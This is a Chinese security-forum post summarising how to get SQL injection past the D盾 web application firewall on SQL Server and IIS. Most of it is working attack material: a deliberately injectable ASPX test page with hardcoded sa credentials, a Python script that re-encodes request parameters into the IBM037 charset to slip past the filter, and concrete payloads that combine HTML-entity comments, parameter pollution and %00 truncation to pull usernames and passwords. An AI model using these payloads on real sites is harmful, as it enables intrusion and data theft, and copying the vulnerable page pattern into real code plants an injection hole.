安全矩阵

 找回密码
 立即注册
搜索
查看: 2596|回复: 0

实战 | BypassD盾之SQL注入绕过总结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-15 16:34:38 | 显示全部楼层 |阅读模式
原文链接:实战 | BypassD盾之SQL注入绕过总结

SQLServer特性空格可以由其它字符替代
select id,contents,time from news where news_id=1①union②select③1,2,db_name()④from⑤admin
  •         位置①

    •                 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
    •                 可以利用注释符号:/**/、—+a%0d%0a
    •                 可利用数学运算符以及数据类型:news_id=1.0,news_id=1e0,news_id=1-1

           
  •         位置②

    •                 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
    •                 可以利用注释符号:/**/、—+a%0d%0a
    •                 可以利用加号+替换空格:union+select

           
  •         位置③

    •                 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
    •                 可以利用注释符号:/**/、—+a%0d%0a
    •                 可利用数学运算符:+、-、~、. (注:其中-、~、.号必须是select查询的第一个字段的数据类型为数字型才能使用)
    •                 可以利用小括号()替换空格:select(1),2,db_name()

           
  •         位置④

    •                 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
    •                 可以利用注释符号:/**/、—+a%0d%0a
    •                 可利用其他字符:%80~%FF(需要IIS服务器支持)

           
  •         位置⑤

    •                 可以利用其它控制字符替换空格:%01~%0F、%11~%1F
    •                 可以利用注释符号:/**/、—+a%0d%0a
    •                 可利用其他字符:%80~%FF(需要IIS服务器支持)
    •                 可以利用点号.替换空格:from.users
    •                 可以利用中括号[]替换空格:from[users]

           
实验环境数据库:SQL Server 2008R2
Web服务器:IIS7.5 CN
WAF:D盾_v2.1.6.1[测试版]
靶场源码如下:index.aspx
  1. <%@ Page Language="C#" AutoEventWireup="true" %>
  2. <%@ Import Namespace="System.Data" %>
  3. <%@ Import namespace="System.Data.SqlClient"  %>
  4. <!DOCTYPE html>
  5. <script runat="server">
  6.     private DataSet resSet=new DataSet();
  7.     protected void Page_Load(object sender, EventArgs e)
  8.     {
  9.         String strconn = "server=.;database=test;uid=sa;pwd=admin";
  10.         string id = Request.Params["id"];
  11.         string sql = string.Format("select * from newss where id={0}", id);
  12.         SqlConnection connection=new SqlConnection(strconn);
  13.         connection.Open();
  14.         SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
  15.         dataAdapter.Fill(resSet);
  16.         DgData.DataSource = resSet.Tables[0];
  17.         DgData.DataBind();
  18.         Response.Write("执行语句:<br>"+sql);
  19.         Response.Write("<br>结果为:");
  20.     }

  21. </script>

  22. <html xmlns="http://www.w3.org/1999/xhtml">
  23. <head runat="server">
  24. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  25.     <title>SQLServer注入测试</title>
  26. </head>
  27. <body>
  28.     <form id="form1" runat="server">
  29.     <div>
  30.    
  31.         <asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC"
  32.             BorderStyle="None" BorderWidth="1px" CellPadding="4"
  33.                 HeaderStyle-CssClass="head" Width="203px">
  34.             <FooterStyle BackColor="#99CCCC" ForeColor="#003399" />
  35.             <SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" />
  36.             <PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left"
  37.                 Mode="NumericPages" />
  38.             <ItemStyle BackColor="White" ForeColor="#003399" />
  39. <HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
  40.         </asp:DataGrid>
  41.    
  42.     </div>
  43.     </form>
  44. </body>
  45. </html>
复制代码


另类字符集编码绕过绕过原理HTTP协议兼容性:HTTP Charset的多样性
Content-Type头中使用charset定义字符集的应用场景不只有在responses中,request中同样可以使用。
常见的服务器与可见编码如下所示:
                                        服务器信息                        可用编码                        说明               
                                                        Nginx, uWSGI-Django-Python3                        IBM037, IBM500, cp875, IBM1026, IBM273                        对参数名和参数值进行编码,服务器会对参数名和参数值均进行url解码,需要对等号和& and进行编码(不进行url编码)               
                                        Nginx, uWSGI-Django-Python2                        IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424                        对参数名和参数值进行便慢慢 服务器会对参数名和参数值均进行url解码 等号和&符号不应该以任何方式编码。               
                                        Apache-TOMCAT8-JVM1.8-JSP                        IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025                        参数名按原始格式(可以像往常一样使用url编码)Body不论是否经过url编码均可等号和&符号不应该以任何方式编码               
                                        Apache-TOMCAT7-JVM1.6-JSP                        IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025                        参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码               
                                        IIS6, 7.5, 8, 10 -ASPX (v4.x)                        IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025                        参数名按原始格式(可以像往常一样使用url编码) Body 不论是否经过url编码均可 等号和&符号不应该以任何方式编码                实验步骤我们使用如下脚本来进行编码转换:
  1. import urllib
  2. import sys

  3. params = sys.argv[1]
  4. charset= sys.argv[2]

  5. def paramEncode(params="id=1", charset="IBM037", encodeEqualSign=False, encodeAmpersand=False, urldecodeInput=True, urlencodeOutput=True):
  6.     result = ""
  7.     equalSign = "="
  8.     ampersand = "&"
  9.     if encodeEqualSign:
  10.        equalSign = equalSign.encode(charset)
  11.     if encodeAmpersand:
  12.        ampersand = ampersand.encode(charset)
  13.     params_list = params.split("&")
  14.     for param_pair in params_list:
  15.        param, value = param_pair.split("=")
  16.        if urldecodeInput:
  17.           param = urllib.unquote(param).decode('utf8')
  18.           value = urllib.unquote(value).decode('utf8')
  19.        param = param.encode(charset)
  20.        value = value.encode(charset)
  21.        if urlencodeOutput:
  22.           param = urllib.quote_plus(param)
  23.           value = urllib.quote_plus(value)
  24.        if result:
  25.           result += ampersand
  26.        result += param + equalSign + value
  27.     return result

  28. print(paramEncode(params,charset))
复制代码


这里我们使用IBM037编码进行测试。
中文版的BurpSuite需要改变一下BurpSuite的字体类型

image-20211025173724964
​​
然后使用BurpSuite抓包,并发送到Repeater

image-20211025173902801
修改请求方法为POST

image-20211025174140120
在Content-Type头中添加charset字段,值为ibm037
Content-Type: application/x-www-form-urlencoded;charset=ibm037

image-20211025174228156
使用脚本进行编码
python2 encode.py "id=1" IBM037# 返回 %89%84=%F1
将请求内容改为%89%84=%F1,并发送

image-20211025174653394
可以看到正常返回查询数据
接下来就是进行SQL注入了

image-20211025174846914
成功绕过D盾WAF
D盾清洗数据缺陷+多个规则特性组合绕过绕过原理规则缺陷/特性:利用D盾清洗数据的特性
WAF内置多种解码器,经过多次解码以后可能导致绕过。
当攻击者提交的参数值中存在大量干扰数据时,如大量空格、TAB、换行、%0c、注释等,WAF需要对其进行清洗(为提升性能和降低规则复杂性),筛选出真实的攻击数据进行检测,但是,如果清洗方式不正确,会导致真正的攻击部分被清洗,然后拿去检测的是不含有攻击向量的数据,从而被Bypass。
规则缺陷/特性:数据库空格可使用其它字符替代
替代字符可查看SQLServer特性。
规则缺陷/特性:%00时会被认为读取已结束
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留。
规则缺陷/特性:HTTP参数污染
同时提交参数id,会接收所有参数,通过逗号分隔。
实验步骤抓包,并更改请求方法

image-20211028161329759
测试D盾清洗数据的特性:
D盾为了防御XSS攻击会对提交的特殊字符进行HTML实体编码,例如提交的数据为<script>

image-20211028162308251
​​
那么假如我们将提交一个已经实体化编码的数据呢?

image-20211028163222933
这里并没有将&gt;进行解码,而是将&符进行编码

image-20211028164318800
我们可以利用这个特性,使用这串字符去绕过某些多个关键字匹配的规则,如:union…select、order…by、/*…*/、'…' 等

image-20211028171853112
绕过 and 1=1
注:1.e可以代替空格
id=1.eand/*%26%67%74%3b*/1=1

image-20211028173512915
绕过 order by
id=1 order/*%26%67%74%3b*/by 2

image-20211028174034111
绕过 union select
id=-1.eunion--%26%67%74%3b%0aselect NULL,NULL,NULL

绕过 from
from的绕过这就是一个技术活了,这里是利用到了HPP以及%00截断来进行绕过
id=-1.eunion--%26%67%74%3b%0aselect NULL,username,password/*%26%67%74%3b&id=%00%0d*/from users

image-20211028174713969


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:17 , Processed in 0.013490 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表